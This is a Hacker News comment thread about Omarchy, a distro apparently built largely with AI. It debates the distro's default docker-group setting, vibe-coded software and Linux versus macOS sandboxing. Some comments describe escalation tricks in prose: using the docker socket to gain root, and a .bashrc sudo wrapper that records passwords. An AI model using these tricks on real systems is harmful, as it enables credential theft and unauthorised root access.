40 comments

  • concinds2 hours ago
    A few days ago someone found they were flowing USB descriptors straight into the shell.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;omacom&#x2F;omarchy&#x2F;commit&#x2F;9285b19d6a72eba3df8537d62a4cd5506a803d89" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;omacom&#x2F;omarchy&#x2F;commit&#x2F;9285b19d6a72eba3df8...</a><p>Don&#x27;t use vibecoded distros. It doesn&#x27;t matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It&#x27;s why you switched away from Windows in the first place, remember?
    • teekert1 hour ago
      But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here?<p>Start a docker container with the docker socket mounted in the container and now you can have yourself mount &#x2F; as rw. Everybody knows this. How is everybody so shocked here. Many instructions online tell you to make yourself part of the docker group for convenience (like the digital ocean one).
      • Aurornis1 hour ago
        &gt; What is different here?<p>I don’t understand how this is a question.<p>What’s different is that it comes configured this way out of the box, silently, without warning. It’s functionally equivalent to opting in to giving all user accounts root privileges, which is not what anyone expects the default configuration to be.<p>You can choose to configure your installs this way if you choose to do so. It should not come this way quietly by default.
        • LinXitoW1 hour ago
          It does warn you. It&#x27;s an opinionated Linux for a modern developer&#x2F;user. This modification absolutely makes sense in that context.
          • Aurornis1 hour ago
            I hope this was an attempt at sarcasm.<p>The Omarchy team immediately fixed this because it was a security oversight, not an intentional opinionated choice.
            • teekert0 minutes ago
              Imo they could have sold it like that, in this case. A warning would be in order though.
            • wojciii1 minute ago
              Opinionated choice?<p>I recently used Arch Linux because I have a 4 GiB Mac Air that I want to use for something but it has too little RAM for UI. The installer was user friendly and fast. I got exactly what I wanted.<p>I don&#x27;t think that I need Omarchy.<p>I have only one answer to this:<p>I&#x27;m too old for this shit.
      • ludocode1 hour ago
        &gt; I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year.<p>You may do that, but I don&#x27;t. I always use sudo to manage the few docker containers I need, and I prefer podman where possible specifically because I can run it rootless.<p>If you want to give your user passwordless root for convenience, go ahead, but that should never be the default.
        • hogs_get_fat52 minutes ago
          &gt; I always use sudo to manage the few docker containers I need<p>I&#x27;m afraid that isn&#x27;t really any better. If the attacker is in position to exploit membership in the docker group, he already has access to the user&#x27;s .bashrc. He can simply write a function called sudo that wraps the real command and records your password[1]. Unless the user always invokes sudo with &#x2F;usr&#x2F;bin&#x2F;sudo, docker group membership doesn&#x27;t really make a difference.<p>Once malware runs as an administrator, getting access to root isn&#x27;t really that complicated. The boundary between wheel and root is more or less security theater.<p>[1] <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;tokyoneon&#x2F;34ce1c9e1530a12eb392b1eab09fcbac#file-sudo" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;tokyoneon&#x2F;34ce1c9e1530a12eb392b1eab0...</a><p>Edit: Oh well, I see now that others have made the point (<a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=49500588">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=49500588</a>). With the same wording even. I&#x27;m half-way tempted to delete my comment so as not to look like a plagiarist, but it seems many posters are unaware of the vulnerability, so I&#x27;d leave it here.
      • markstos1 hour ago
        A distro should be secure-by-default. Omarchy’s design here was insecure by default while the docs have the impression that Docker might be running rootless. Pairing insecure defaults with docs that claim better security is bad.
      • happytoexplain1 hour ago
        &gt;Everybody knows this.<p>I didn&#x27;t know this.
        • teekert1 minute ago
          Do you know about docker compose overwriting your carefully set firewall rules? That’s the other docker thing…
      • hemlock459358 minutes ago
        This. Was also super confused when I saw the post. Like every docker guide literally screams at you when you use rootfull docker. Either add yourself to the docker group with `newgrp` for a termimal session or use rootless docker.
      • vga11 hour ago
        People hate DHH and AI, so whatever he does or what is done with AI is ridiculed.
        • eviks1 hour ago
          Could you point to things that are not glaring security vulnerabilities that are ridiculed in the same way?
          • inigyou1 hour ago
            His blog posts about immigrants?
          • happytoexplain17 minutes ago
            You specifically called out security vulnerabilities, but the point missed by the commenter you are replying to is that people who ridicule something originating from DHH or AI are generally not based on <i>nothing</i>. &quot;People just hate X no matter what&quot; is almost always a low-quality complaint, for most values of X.
          • vga11 hour ago
            Bun.
        • concinds1 hour ago
          I&#x27;ve got nothing against DHH or AI. I just don&#x27;t think vibe coding works well for systems of this scale.
          • vga156 minutes ago
            That remains to be seen. The whole concept is still in its infancy. An AI reviewer should have caught these issues when they were PRs.<p>But you see, it wasn&#x27;t even a PR. It was just DHH making a straight up commit on the main branch (as far as I can see). With a message &quot;Do all the additional Docker configuration needed&quot;. Was it even AI-assisted? At least the commit message wasn&#x27;t, AIs write smarter commit messages than that.<p>I said on my earlier comment that DHH and AI get ridiculed automatically because people hate both. That doesn&#x27;t mean that the ridicule isn&#x27;t always justified.<p><a href="https:&#x2F;&#x2F;github.com&#x2F;omacom&#x2F;omarchy&#x2F;commit&#x2F;25799ee91f54c35e6d340df3aae8ac2b21fae0a4" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;omacom&#x2F;omarchy&#x2F;commit&#x2F;25799ee91f54c35e6d3...</a>
        • lproven1 hour ago
          No no, be fair -- some of us ridicule <i>everyone</i> using AI <i>and</i> the slop they get it to extrude.
          • vga11 hour ago
            Yes, I know. That is quite juvenile.
    • dzonga1 hour ago
      the unfortunate thing - is the money pumped into omarchy + the hype around it .... a lot of sheepish followers will just follow the hype.<p>the tech might gets fixed later.
    • sergiotapia2 minutes ago
      On the flipside, once you use an OS that is totally open to agentic stuff, there&#x27;s no going back really.<p>I can open Pi and ask it to fix some window tiling issue, help me install shortcuts, help me figure out how to install flatpak vs appimage, etc. the list is endless. I cannot see myself going back to a legacy OS unless I&#x27;m forced to by my job for compliance reasons.
    • silisili2 hours ago
      Other than hype, what&#x27;s the appeal here?<p>I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I&#x27;m just a Gnome pleb who prefers discoverability via UI.
      • jbstack1 hour ago
        There&#x27;s definitely appeal in key-driven window managers in general. Projects like i3 and Niri are popular. But you can get that with any Linux distro (albeit not many have it set up that way by default). You don&#x27;t generally choose a distro just for whatever DE&#x2F;WM it happens to start with.
      • seaal2 hours ago
        Well the whole point is to have a good foundation and then make it actually yours, and the only necessary key binds are probably SUPER+K for the key bind cheatsheet and SUPER+SPACE for the menu.<p>Also the community is large so there&#x27;s usually someone that has already had your issue and resolved it. The amount of themes and plugins are growing everyday.<p>A bare arch+hyprland install really feels terrible to use and has a much larger barrier to entry than Omarchy.<p><a href="https:&#x2F;&#x2F;plugins.omarchy.org" rel="nofollow">https:&#x2F;&#x2F;plugins.omarchy.org</a><p><a href="https:&#x2F;&#x2F;omarchythemes.com" rel="nofollow">https:&#x2F;&#x2F;omarchythemes.com</a>
      • torginus22 minutes ago
        What I don&#x27;t get is that VS Code has solved this perfectly via the command palette - you just bring up the prompt and start typing and it will find you the command you actually need without having to memorize anything.
      • _fat_santa1 hour ago
        I just switched over to it from Ubuntu. So far the nice thing is that it gives you a fully decked out hyprland setup without any of the hassle and pretty good UX.<p>The problem I&#x27;ve always had with trying out a tiling window manager like hyprland is you&#x27;re going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.
      • itishappy1 hour ago
        That is the appeal. It&#x27;s an opinionated distro designed around keyboard navigation.
        • mosura1 hour ago
          It is kind of nuts how little attention this more-than-controversial-enough aspect of it gets compared to anything else, to the point people don’t even know this about it.<p>I happen to hate Omarchy for the precise reason I don’t want that sort of interface, but apparently everyone else does, and if they do that’s up to them.
      • pacificat0r1 hour ago
        I got here because it was the first time I saw a tiling window manager on an Omarchy video. I was on windows my entire life, so when i saw it and how bad windows got, I decided to give it a try. A few months since I de-omarchyfied the system and went straight back to arch. And now still on it.<p>I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn&#x27;t an option (i don&#x27;t remember). I know it is now.
        • SSLy1 hour ago
          you can pick the best things out of cachy without moving to it wholesale. Like their proton, maybe kernel or mesa
      • LinXitoW1 hour ago
        On average, you can either have a discoverable GUI for noobs, or a configurable, keyboard driven system that&#x27;s a giant pain to learn and configure.<p>Omarchy aims to find a middle ground between those two.
        • lproven1 hour ago
          &gt; either have a discoverable GUI for noobs, or a configurable, keyboard driven system<p>Absolutely wrong. Windows is both and it can be 100% keyboard driven.
          • dingaling38 minutes ago
            Try editing key-values in Regedit using only the keyboard.
          • inigyou59 minutes ago
            Or at least, XP could.
      • CuriouslyC1 hour ago
        Being hyprland keybinding skilled removes a lot of the desktop interaction surface, it&#x27;s a worthwhile investment. People who&#x27;ve used tiling window managers for a while will tell you that it gets natural at a point, then a whole class of friction that normal WMs cause just goes away.
      • urams1 hour ago
        &gt; I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it.<p>Whoa! You have to _learn_ something to use it well? Yikes. Not for me.
        • vincnetas1 hour ago
          conventions are a good things so you can minimise relearning.
      • dingdingdang1 hour ago
        I for one hold out for them releasing an optimized XFCE variant - don&#x27;t by any means dislike keyboard driven software but I like it as an extension of a regular functional UI experience not as a &quot;argh the windows are stuck in xyz pattern until I re-remember xyz combo&quot;-experience: the UI surface is not the speed limit in my optics, rather it is the apps I use or (increasingly due to local AI) the computational hardware limits of my machine.
    • lokipumper1 hour ago
      Vibecoded fixes are quicker
    • mike_hearn1 hour ago
      &quot;Someone&quot; didn&#x27;t find that, AI found it. So it&#x27;s not clear what your point is about vibe coding. Would humans have noticed this problem, especially given that it&#x27;s not remotely exploitable? (you have to plug in a malicious USB device).
      • teekert1 hour ago
        It’s that age old “start a docker container with the docker socket in the container and you are effectively root”. What are we talking about here? This is not new?
      • miguelbemartin1 hour ago
        I think they mean that Omarchy is pretty much vibe-coded. Probably just an assumption.
      • mosura1 hour ago
        The fact comments like this get downvoted because what they say is inconvenient is one of the major signs AI has fundamentally broken HN.<p>It was already hard to have technical conversations in public, now there is a contingent determined to make it utterly impossible, and they are succeeding.
    • jp_sc2 hours ago
      It&#x27;s definitely not why *I* switched away from Windows
      • Brian_K_White2 hours ago
        You didn&#x27;t switch away from windows to get superior software?<p>Also, the statement was valid because it will be true for most. It doesn&#x27;t matter that you read it and it wasn&#x27;t true for you, as long as it&#x27;s true by the numbers, it&#x27;s true, because it&#x27;s one-to-many communication not one to one.
        • AshamedCaptain1 hour ago
          While I don&#x27;t want to discuss the quality of any distro vs Windows, there is a big reason most of us use free software: because it is <i>free</i>. Whether for you it is because of free as in freedom or free as in beer specifically, quality may not have much to do with it.
          • normie30001 hour ago
            Isn&#x27;t Windows also basically free? Every laptop I buy has a Windows licence stuck to the bottom of it.
            • fhn1 hour ago
              which means you paid for it. just because it comes bundled doesn&#x27;t mean always it&#x27;s free. <a href="https:&#x2F;&#x2F;en.refund4freedom.org&#x2F;" rel="nofollow">https:&#x2F;&#x2F;en.refund4freedom.org&#x2F;</a>
            • itishappy1 hour ago
              No, you&#x27;ve been charged for every one of those licenses.
            • inigyou58 minutes ago
              You can also just pirate it.
            • AshamedCaptain1 hour ago
              No and you missed the &quot;freedom&quot; part of the adage.
          • Brian_K_White1 hour ago
            Windows is already free for ~everyone. Make less idiotic arguments.
        • itishappy1 hour ago
          &gt; Also, the statement was valid because it will be true for most.<p>The statement seems more like a preconception than data.
    • onesandofgrain2 hours ago
      This seems to be quite contrarian considering we had this on the front page of HN the other day: &quot;Debian votes to allow &quot;responsible use of generative AI&quot;.<p>I guess this LLM coding wasn&#x27;t &quot;Responsible&quot; enough. hahaha<p>Let the AI bubble pop baby
      • awesan2 hours ago
        Omarchy is all in on AI, if you look at the recent commits and the dev workflows they have set up you can easily tell no human is looking at all the stuff they are merging.<p>It&#x27;s not the same thing as allowing some AI contributions under strict guidelines.
        • vga11 hour ago
          Even worse. They don&#x27;t even have AI review them. I fed the commits that introduced the problem to a few frontier models and they saw several problems, including the aforementioned security problem. Even Mistral saw it. I did have to instruct all models to look for security problems, though, but still.<p>It&#x27;s not that we shouldn&#x27;t use vibecoded distros. It&#x27;s that we shouldn&#x27;t use <i>badly</i> vibecoded distros with shitty or non-existent processes.
  • thehamkercat2 hours ago
    I think people shouldn&#x27;t just jump to distros which are getting heavily hyped in media&#x2F;Youtube, cachyOS had similar wave, and now Omarchy does.<p>(example: NetworkChuck, Primeagen? and a few others)<p>also, archlinux is much easier to install nowadays with archinstall [1], so i&#x27;m not sure you really need another opinionated layer on top of it<p>[1] - <a href="https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Archinstall" rel="nofollow">https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Archinstall</a>
    • sva_2 hours ago
      I think this is more about the UI, rather than the install. I haven&#x27;t tried it myself though.<p>I think nowadays using quickshell anyone who is so inclined can vibecode their own UI though. I recently made the switch to Wayland&#x2F;hyprland and rebuilt my polybar on quickshell, even adding widgets that allow getting system info&#x2F;fine grained system control (interactive Bluetooth, WiFi, Volume, Brightness etc).
      • kennywinker2 hours ago
        Ah yes, the solution to software with massive security holes is for everyone to vibe code their own software with massive security holes.<p>But in all seriousness, I am running omarchy now, and I will almost definitely be switching to arch at some point in the future.
        • sva_2 hours ago
          Even if you introduce bugs in your UI (which I think is not very likely if you have a basic understanding of your system), the chance that someone would exploit software that literally only runs on your own machine seems extremely unlikely to me.<p>I&#x27;ve been using arch for over 10 years btw.
          • inigyou57 minutes ago
            Isn&#x27;t the other half of AI that we can afford to look for exploits in one-off software?
    • starky26 minutes ago
      I had just enough issues with archinstall the last time I tried it that I went back to EndeavourOS which essentially gets you a GUI installer and some pre-installed utilities on the stock Arch install. The only significant change I&#x27;m aware of is that they use dracut instead of mkinitcpio.
    • esskay2 hours ago
      Add that annoying theo guy to that list. Cant stand these people, they confidently push out videos like they&#x27;re experts, a week later it turns out whatever they were talking about was total crap and they&#x27;ve already abandoned it - case in point OpenClaw. Look at the mess of videos those named above put out about it, not a single one uses it anymore.
      • 11235813217 minutes ago
        Sadly, true. I know a person who gets AI news from that YouTuber and quotes him like he’s a household name and pays him for some repackaged chat models. It’s tedious and hard to talk to them about basic&#x2F;remedial aspects because their education from YouTube is half-heard and superficial. I’m trying to get him to invest the time in hands-on experience and then we can talk about that. When you’re deep into these channels, you’re not gaining experience and you can’t easily start until you pull away.
      • pibaker2 hours ago
        There is only so much a human can master in his lifetime. And if you choose to master the art of video production, then you are probably not spending that much time on mastering the thing you yap about on camera…
        • lstodd1 hour ago
          which is why you have to hire people who master the art of yap whatever on camera, so the video production guy can have something to work on.<p>or did you think onlyfans?
      • inigyou56 minutes ago
        Not a single mention of Pirate Software yet?
      • heed1 hour ago
        as primarily influencers they make money from your attention, not from promoting or making good software.
    • bundie2 hours ago
      Just use Fedora. It just werks (most times).
      • kennywinker2 hours ago
        I <i>like</i> the very non-windows very non-mac ui of omarchy.
        • tomrod2 hours ago
          UI is desktop environment and (usually) ports to large-use distros cleanly.<p>- JaKooLit’s Fedora-Hyprland Repository: <a href="https:&#x2F;&#x2F;github.com&#x2F;JaKooLit&#x2F;Fedora-Hyprland" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;JaKooLit&#x2F;Fedora-Hyprland</a>. The most popular automated setup guide and installer for Fedora, bundling Hyprland alongside pre-configured bars, launchers, and<p>- Official Hyprland Wiki: wiki.hypr.land&#x2F;Getting-Started&#x2F;Installation&#x2F;. The main reference guide for core configuration options, environment variables, and Wayland portal requirements.<p>- Solopasha Fedora COPR copr.fedorainfracloud.org&#x2F;coprs&#x2F;solopasha&#x2F;hyprland. The primary community repository hosting cutting-edge builds of Hyprland and its ecosystem packages for<p>- Fedora Discussion Tutorials: discussion.fedoraproject.org. Community walkthroughs covering minimal netinstall setups and distro-specific Wayland troubleshooting.
      • agumonkey26 minutes ago
        is there a fedora 44 ws with non free package built in ?
        • jm420 minutes ago
          You still have to use rpmfusion, which isn’t a huge deal. It’s maybe 5 min one time and then you are set.<p>Or you could use one of the Universal Blue spins. Bluefin and Aurora have non-free stuff built in and you can install pretty much any package from anywhere.
    • quadrifoliate2 hours ago
      [flagged]
      • supriyo-biswas2 hours ago
        &gt; As a developer who mostly wants a Mac-like Linux distro without the associated noise<p>I&#x27;m required to use Ubuntu at work. Coming from Mac, apart from the menu bar at the top, on Gnome, I&#x27;ve been able to customize the keyboard shortcuts, remap the keyboard so that Ctrl works like Cmd, and use extensions like Dash to Dock[1] and themes like Whitesur[2] to replicate something that almost works like a Mac.<p>The keyboard remapping and customizing keyboard shortcuts were all done within default the default settings app.<p>The only things missing are some keyboard shortcuts like Ctrl+A&#x2F;V to move to the beginning and end, and the Ctrl+Shift+C&#x2F;V behavior on the terminal instead of Cmd+C, which I&#x27;ve just worked around by using VSCode&#x27;s terminal and configuring it to copy when I press Ctrl+C with some text selected.<p>[1] <a href="https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;307&#x2F;dash-to-dock&#x2F;" rel="nofollow">https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;307&#x2F;dash-to-dock&#x2F;</a><p>[2] <a href="https:&#x2F;&#x2F;github.com&#x2F;vinceliuice&#x2F;WhiteSur-icon-theme" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;vinceliuice&#x2F;WhiteSur-icon-theme</a>
        • weaksauce1 hour ago
          if you reset the keyboard shortcuts to their defaults and install toshy you can get the ctrl-a&#x2F;e stuff and copy and paste in the command line with cmd-c&#x2F;v and a lot of the other mac like keyboard shortcuts. it&#x27;s really plug and play and works well... can&#x27;t recommend it enough. (though there are some edge cases that may require some tweaks but overall it&#x27;s great)<p><a href="https:&#x2F;&#x2F;github.com&#x2F;RedBearAK&#x2F;toshy" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;RedBearAK&#x2F;toshy</a>
      • fny2 hours ago
        Why doesn&#x27;t Ubuntu fit the bill? You can even install hombrew on it. Everything works like a mac with no fuss.<p>Also the only reason I left Linux was due to hardware. Ubuntu was convenient enough.
        • onraglanroad1 hour ago
          There&#x27;s no reason to use homebrew on Linux. Your package manager is better in every respect.<p>Just don&#x27;t.
        • lrvick2 hours ago
          Homebrew is like giving a bunch of wikipedia randos remote shell access to your computer. There is no enforced code review policy. Any maintainer can make a commit under a pseudonym and merge their own code to main without review.<p>Homebrew should not be allowed near any machine you need to be able to trust.
      • bigyabai2 hours ago
        &gt; In a different way you can see this in this thread where instead of discussing why Omarchy has the bug<p>There&#x27;s nothing interesting to discuss. Rootless OCI-compliant containers exist, and Omarchy ignored them. The &quot;convenience&quot; of the solution they chose simultaneously opens an enormous attack surface that the maintainers didn&#x27;t consider.<p>This is why I don&#x27;t believe the &quot;give me a macOS distro&quot; people - even Apple wouldn&#x27;t do this. If you want a preconfigured Mac-like distro, then you should use GNOME and not a pre-riced desktop with hundreds of dotfiles. You don&#x27;t <i>have</i> to use Arch either, you can go with a graphical install of Fedora or CachyOS if you want. This will give you a system that you can understand, maintained by people with a minimum standard of quality, that actually resembles the workflow of macOS. There is no Niri or Sway rice that will magically make your system make sense, and this is why I think a lot of the Mac and Windows expats should just use a normal desktop.
        • quadrifoliate9 minutes ago
          &gt; There&#x27;s nothing interesting to discuss. Rootless OCI-compliant containers exist, and Omarchy ignored them.<p>Why Omarchy chose to ignore all the rootless OCI-compliant containers; and also why docker itself isn&#x27;t rootless yet is a pretty interesting thing to discuss. I&#x27;m not aware of the specifics being a Mac user myself, but others in the thread (e.g. here <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=49500186">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=49500186</a>) say that podman still doesn&#x27;t work 1:1 with docker exactly.<p>If you disagree, <i>that&#x27;s</i> a reasonable thing to discuss; but otherwise just saying &quot;ha ha just use the rootless thing&quot; is missing the point.
      • troupo2 hours ago
        &gt; if you encounter a problem with Arch and ask about it<p>It&#x27;s probably already documented on Arch wiki or it&#x27;s a generic Linux issue that has already been solved by someone (that has been my experience with Cachy).
    • izacus2 hours ago
      Omarchy seems to be pentested by a bunch of angry haters. Who&#x27;s pentesting your arch install? :P
      • tomrod2 hours ago
        Basic docker users are the same as angry haters I guess.
        • izacus1 hour ago
          That&#x27;s not what I claimed or said, do read my posts please and project less :)
          • tomrod22 minutes ago
            No harm, no foul izacus. I am laughing inside because I&#x27;m included in the &quot;angry&quot; group by default (I hate all Linux distros, less than Windows or MacOS) and I&#x27;m often a basic docker user but got over major DE customization like Omarchy when I needed to get thing done at a higher rate (back then the coolness was crunchbang).
    • rramon2 hours ago
      Omarchy imo is best for agent maxxing Mac power users who aren&#x27;t locked into Apples proprietary apps like Final Cut, audio production software or Adobe and Affinity, so maybe not so great for designers and photographers as the main system.
  • mike_hearn2 hours ago
    Linux isn&#x27;t like macOS, it doesn&#x27;t have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn&#x27;t). For instance it can just drop a custom shell into ~&#x2F;.bin&#x2F;.hidden-shell and reconfigure the terminal emulator to run it.<p>So this kind of &quot;vulnerability&quot; doesn&#x27;t seem that important. If you run code as yourself on Linux it owns you.<p>On macOS it&#x27;s very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can&#x27;t easily escape. The kernel can then impose sandboxing policies on any app that&#x27;s run regardless of how it&#x27;s installed, for instance, preventing apps from rummaging through ~&#x2F;Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it&#x27;s only really there for UNIX compatibility.<p>Unfortunately implementing an Apple style architecture on Linux would be very difficult.
    • Cloudef1 hour ago
      Its opposite. Windows and MacOS lacks proper sandboxing. While openbsd has pinsyscalls and linux has seccomp-bpf. Windows and MacOS only have filesystem and worse version of user namespace sandboxes, anything else and you need to write a kernel extension or rely on a hypervisor.<p>&gt; Unfortunately implementing an Apple style architecture on Linux would be very difficult.<p>The apple apps kind of thing already exists and its called flatpak.
      • oneplane13 minutes ago
        Windows has virtualisation based sandboxing and NT has object-level security (albeit not often used correctly and granularly) and macOS has for example SIP and a subsystem, called sandbox that does exactly what it says: it sandboxes. It can sandbox in comparable namespace terms (like cgroups v1 or v2, but more in translocation style execution since it&#x27;s a MAC framework) yet it also does it a much more fine-grained level depending on what you need. It is used by launchd and applications by default, some entitlements require it so if you want to do some broad kind of elevated application, you also have to have a specific sandbox profile. It&#x27;s also been around for 16 years, and comes with a ton of examples if you wanted to use it yourself to constrain some process. Yes, it can do filesystem (would be pointless without it), but also does ipc, io, network, memory, fcntl, sysctl, mach ports, sys calls, processes, ui, sockets, messaging, events and all of that including context-aware filtering and compound matching for all of them. And if that&#x27;s not enough there is also ESF and NEF, the latter only working on networking. You can compare those two to eBFP LSM and XDP. If you want all of this on linux, you&#x27;ll need to add a lot of custom eBPF and LSM as well as always run in a hypervisor for guaranteed IOMMU usage, but you can&#x27;t use bare KVM for that either, so you&#x27;ll either need to never touch the privileged kernel (not even give it a console) or you need to run Xen and use XSM.<p>Flatpak is just a cheap container copy. Can&#x27;t do anything beyond what cgroups and things like apparmor and selinux can do, and uses a runtime to do soft higher-level policy functions that translate down to the same primitives. If anything, it&#x27;s a great bundler, but doesn&#x27;t do anything new policy-wise.<p>So, can you get the macOS-level capabilities (both low-level and higher abstractions)? On Linux, yes, but they don&#x27;t exist yet. On Windows: technically possible, but since that would break most GUI workflow it&#x27;s not likely that anyone is going to bother, and you&#x27;re going to have a hard time recompiling windows yourself to make that happen.
    • Retr0id2 hours ago
      &gt; Unfortunately implementing an Apple style architecture on Linux would be very difficult.<p>On desktop Linux as we know it, yes, but Android manages it alright, mostly via SELinux+seccomp.
      • mike_hearn2 hours ago
        Android is basically a different OS that happens to reuse parts of the Linux kernel.
        • Retr0id1 hour ago
          Yes, it reuses all the security features.
          • 2OEH8eoCRo016 minutes ago
            Doesn&#x27;t each app run as it&#x27;s own user? The OG of security features.
    • lrvick1 hour ago
      &gt; Linux isn&#x27;t like macOS, it doesn&#x27;t have any kind of proper desktop sandboxing architecture that really works.<p>As a QubesOS user, I beg to differ. Just because most Linux distros are negligent with sandboxing does not mean all of them are.
    • amluto2 hours ago
      &gt; Linux isn&#x27;t like macOS, it doesn&#x27;t have any kind of proper desktop sandboxing architecture that really works.<p>I’m sorry, what? MacOS’s desktop sandboxing is <i>pathetic</i>. Sure, it kind of sort of tries to prevent an application from rummaging until you give it permission. And that permission is hilariously coarse grained, and it gets regularly broken anyway. (Seriously, read about TCC breaks. They’re not little implementation errors — they’re giant gaping holes in the whole concept.) The entitlement mechanism basically serves to help Apple restrict what developers can do without meaningful protecting Apple’s users.<p>If you think that it protects you when your Mac prompts to ask whether Terminal.app may access Documents, you are welcome to enjoy your warm fuzzy feelings.<p>&gt; Unfortunately implementing an Apple style architecture on Linux would be very difficult.<p>Why would it be difficult? I think that mostly it would reveal to whomever implemented it how useless it is.<p>If you mean sandbox-exec, you can do this on Linux, too. And the Linux mechanisms are not considered deprecated and undocumented, whereas Apple steadfastly refuses admit that sandbox-exec is a real mechanism.
      • mike_hearn2 hours ago
        There can be exploits in any security system but the architecture is sound. There&#x27;s no equivalent of TCC on Linux (I mean one that really sticks), and no easy way to create one.<p>The sandboxing isn&#x27;t bad. It&#x27;s obviously weaker if you do everything in the Terminal and stay in old-school UNIX territory because it wasn&#x27;t designed to sandbox developer workloads. But it&#x27;s a lot better than nothing, which is what Linux offers.<p>The OS does actually protect you when it asks if the terminal should be able to access ~&#x2F;Documents. You can say no, and then random stuff you curl|bash can&#x27;t read files in that folder unless there&#x27;s an exploit. Apps that opt in to app sandboxing are much better protected and can store files&#x2F;settings in an area of $HOME that other apps can&#x27;t access at all without the right permissions.<p>It would be difficult to do on Linux because an Apple style architecture requires apps to systematically use the blessed OS APIs for functionality. Not only for things like file pickers but also camera access, storing preferences, etc. In Linux it&#x27;d require the architecture to be tied to a specific desktop environment and associated set of apps. There&#x27;s not enough consistency otherwise.<p>It also needs pervasive kernel enforced app identity and equivalents to Apple&#x27;s bookmarks, Mach context propagation, SBPL, app containers architecture etc.<p>It also needs an agreed on way to handle malware reporting and detection, out of the box, and some authority that&#x27;s trusted to hand out sensitive permissions (for writing debuggers, if nothing else).<p>You can hack something together with bits and pieces Linux has, and define a way to write apps that delivers something like Apple&#x27;s architecture - as Android has - but that won&#x27;t bring the ecosystem with you. And it will suffer from a high degree of centralization where distributors have to approve every app, with any app you get outside your distro&#x27;s package repositories being a free for all. Apple&#x27;s architecture allows apps to be distributed outside the app store while still being sandboxed to a lesser or greater extent, as well as scanned for malware ahead of time and located anywhere on disk (by extension, you can have &gt;1 version of an app installed at once and sandboxing still works).
        • lrvick1 hour ago
          Mac users always like to defend some of the things Apple legitimately got right over most Linux distros, but always ignore that supply chain security and standard package management security on Apple (Homebrew) is akin to giving a bunch of internet randos root access to your machine with no oversight, vetting, or code review of any kind. At least most Linux distros do basic package signing.<p>Someone even thinking it is reasonable to try to use a mac to manage production would be grounds for me to ensure they never have production access.<p>Also, QubesOS is a thing, therefore QubesOS Linux users have way way better access to sandboxing than MacOS -and- signed devtools packages.
        • amluto1 hour ago
          &gt; The OS does actually protect you when it asks if the terminal should be able to access ~&#x2F;Documents. You can say no, and then random stuff you curl|bash can&#x27;t read files in that folder unless there&#x27;s an exploit.<p>If you say no, you can’t use less or cat to read your documents. If you say yes then you are completely unprotected, forever, from anything you might run from the terminal.<p>&gt; It also needs pervasive kernel enforced app identity<p>Doing <i>like MacOS</i> needs app identity. But this model is just wrong, because it answers the wrong question. Determining, once, whether Microsoft Word or VSCode may access all your documents, means that any Word <i>document</i>, using valid scripting or an exploit against Word, may access all your documents, and it means that you are fully exposed to anything you look at in vscode (as vscode has almost no security).<p>The right questions would be: May <i>this document</i> access <i>this file or folder</i>? May <i>this project</i> access anything outside its own folder? May <i>this Python script</i> read your screen? May <i>this AI agent session</i> access <i>this USB device</i>? Kernel-managed app identity is completely unhelpful for any of this.<p>(Frankly, kernel managed app identity seems unnecessary for most of what Mac does, too. App identity could be set by whatever launches the app, so long as the app’s resulting privileges are not allowed to exceed those of the launcher.)<p>&gt; And it will suffer from a high degree of centralization where distributors have to approve every app<p>Please elaborate.<p>Sure, if you actually think that an Apple-like entitlement system protects you well, then I guess that a non-Apple entitlement system would need some trusted authority to grant entitlements. I do not think it protects anyone very well even if Apple, as the entitlement granter, is considered fully trustworthy.
          • inigyou31 minutes ago
            The right right question would be: why aren&#x27;t we enforcing a document to be self-contained? Why are documents agents? Why can any document access anything or indeed, do anything? That&#x27;s not a document, that&#x27;s a program!
            • amluto15 minutes ago
              Documents containing scripts are genuinely useful, as are, say, Python programs.
    • bigyabai2 hours ago
      &gt; it doesn&#x27;t have any kind of proper desktop sandboxing architecture that really works.<p>Bubblewrap works.
      • mike_hearn1 hour ago
        Bubblewrap is a less powerful version of sandbox-exec, but the macOS architecture is much larger than just that. In effect macOS runs <i>everything</i> under bubblewrap, in such a way that users don&#x27;t notice but apps are meaningfully sandboxed and root exploits barely matter.
        • bigyabai1 hour ago
          So you&#x27;re retracting your claim that Bubblewrap doesn&#x27;t exist&#x2F;work?
          • mike_hearn1 hour ago
            Bubblewrap isn&#x27;t a sandboxing architecture, so no. Go look at how Apple designed the macOS&#x2F;iOS security system and you&#x27;ll see that a Bubblewrap like tool is only. small portion of it.
            • bigyabai1 hour ago
              Linux in-general is a small portion of the Darwin architecture. One is a monolithic kernel, the other has microkernel IPC security to consider.<p>Are there any glaring limitations in Bubblewrap you&#x27;d like to point out, or are we having the Tannenbaum argument all over again?
      • graemep2 hours ago
        and Firejail
        • oever1 hour ago
          and sydbox
